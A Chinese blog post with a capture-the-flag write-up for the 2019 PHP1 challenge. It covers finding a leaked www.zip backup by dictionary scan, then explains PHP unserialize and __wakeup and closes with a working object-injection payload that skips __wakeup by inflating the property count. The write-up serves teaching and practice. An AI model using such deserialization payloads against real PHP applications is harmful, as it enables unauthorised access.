首页 > 编程语言 >[极客大挑战 2019]PHP1

[极客大挑战 2019]PHP1

时间:2022-12-09 11:14:46浏览次数:85  
标签:__ username password 极客 2019 wakeup 序列化 PHP1 php

[极客大挑战 2019]PHP1

提示:有一个良好的备份网站的习惯 寻找一个备份文件字典,我在github上找的:

scopion/dic: 渗透字典,框架信息泄露,备份文件泄露,配置文件泄露。字典 (github.com)

我用的是top7777.txt字典,扫的很慢。

image-20221209095501102

image-20221208212106877

扫出来www.zip这个文件,然后下载下来 ,里面只有index.php和class.php两个文件有作用。

image-20221209100538126

反序列化文件:
index.php

image-20221209100953600

重点代码解读:

Select = $_GET['select']
 //这里需要传入序列化的内容
$res = unserialize(@$select); 

1. @符号在php中做错误控制操作符,当表达式附加@符号的时候,将忽略该表达式可能生成的错误信息,如果启用了track_errors功能php_errormsg中。每个错误都会覆盖此变量。

class.php

image-20221209101013212

重点代码解读:

class Name{
    private $username = 'nonono';
    private $password = 'yesyes';
    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

	function __wakeup(){
	        $this->username = 'guest';
    }
	1. Private 是一种可见性修饰符,private与public不同,private修饰的方法和数据域被限定只能在自己的类中被访问,即使在同一个包中也不能被其它类访问,public则可以运用在类或者类的成员上。
	private:用于声明私有变量	public:用于声明全局变量
	
	2. __construct 是构造函数,在对象被创建的时候自动调用,进行类的初始化,也就是说对象创建完成以后第一个被对象自动调用的方法。

	3. __wakeup 当使用unserilize()方法进行反序列化之前则会先调用__wakeup方法,但是序列化字符串表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行 -->重点代码中如果自动调用了这个方法,username会被赋值成guest。

根据__destruct 析构函数(在这个对象的内容执行完之前 执行函数的内容)的内容可以得知,password=100,username=admin的时候满足条件就可以获得flag

但是当我们序列化传参了以后,还是无法获得flag,因为__wakeup这个函数在反序列化之前调用,改变了username的值,所以目前需要跳过wakeup(),上面讲了,如果对象属性的个数的值大于真实的属性个数的时候会跳过__wakeup的执行,把name后面的数字2改为大于2的数字:

payload

?select=O:4:"Name":3:{s:14:" Name username";s:5:"admin";s:14:" Name password";i:100;}

但是发现这个里面有空格,所以把空格url编码变成%00再传参

Payload

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

image-20221209101539405

获得flag,实验结束

标签:__,username,password,极客,2019,wakeup,序列化,PHP1,php
From: https://www.cnblogs.com/centos08/p/16968299.html

相关文章

  • buuoj-[HDCTF2019]Maze
    1.winexe32bitupx1使用脱壳工具这一段是红的,是ida没有为其创建函数堆栈报错的问题,其上一条命令就是常规的动态运算反调试,40102E+1=40102F,在2F处重新生成代码即......
  • vs2017 vs2019秘钥
    VS2017专业版和企业版激活密钥需要的请自取~Enterprise:NJVYC-BMHX2-G77MM-4XJMR-6Q8QFProfessional:KBJFW-NXHK6-W4WJM-CRMQB-G3CDH Visual Studio 2019 Enterprise企......
  • windows2019文件服务器集群,Windows Server2019 故障转移群集
    WindowsServer2019故障转移群集一、前期准备二、故障转移群集安装及设置三、iSCSI存储安装四、为每个节点添加iSCSI存储......
  • AT_nikkei2019_qual_f
    首先$x=1,2,3$的情况很容易处理,然后如果$x=3$无解,那么$x$为任意奇数时均无解,特判即可。然后考虑每次将$x$变为$x+2$后答案以及具体取的宝石如何变化,再分$x$为......
  • java-net-php-python-sceatch在线学习系统2019演示录像计算机毕业设计程序
    OverridetheentrypointofanimageIntroducedinGitLabandGitLabRunner9.4.Readmoreaboutthe extendedconfigurationoptions.Beforeexplainingtheav......
  • 极客编程python入门-sorted函数使用
    排序算法Python内置的sorted()函数就可以对list进行排序:>>>sorted([36,5,-12,9,-21])[-21,-12,5,9,36]sorted()函数也是一个高阶函数,它还可以接收一个key函数来实......
  • 【大厂面试题-字节】2019春招面试第一题
    题目描述我叫王大锤,是一家出版社的编辑。我负责校对投稿来的英文稿件,这份工作非常烦人,因为每天都要去修正无数的拼写错误。但是,优秀的人总能在平凡的工作中发现真理。我......
  • [BUUCTF][Web][GXYCTF2019]Ping Ping Ping 1
    打开靶机对应URL提示有ip参数尝试构造urlhttp://714ad4a2-64e2-452b-8ab9-a38df80dc584.node4.buuoj.cn:81/?ip=127.0.0.1显示/?ip=PING127.0.0.1(127.0.0.1):56......
  • [BUUCTF][Web][SUCTF 2019]EasySQL 1
    这一题有点蛋疼,比较难顶看了别人的writeup也很难get到解题思路,感觉必须要拿到源码进行审计才能解大佬们猜后端是这么写的select$_POST['query']||flagfromFlag;......
  • [BUUCTF][Web][极客大挑战 2019]Havefun 1
    打开靶机的URL,看到一个页面右键查看源代码,看到有用信息<html>...<!--$cat=$_GET['cat'];echo$cat;if($cat=='dog'){......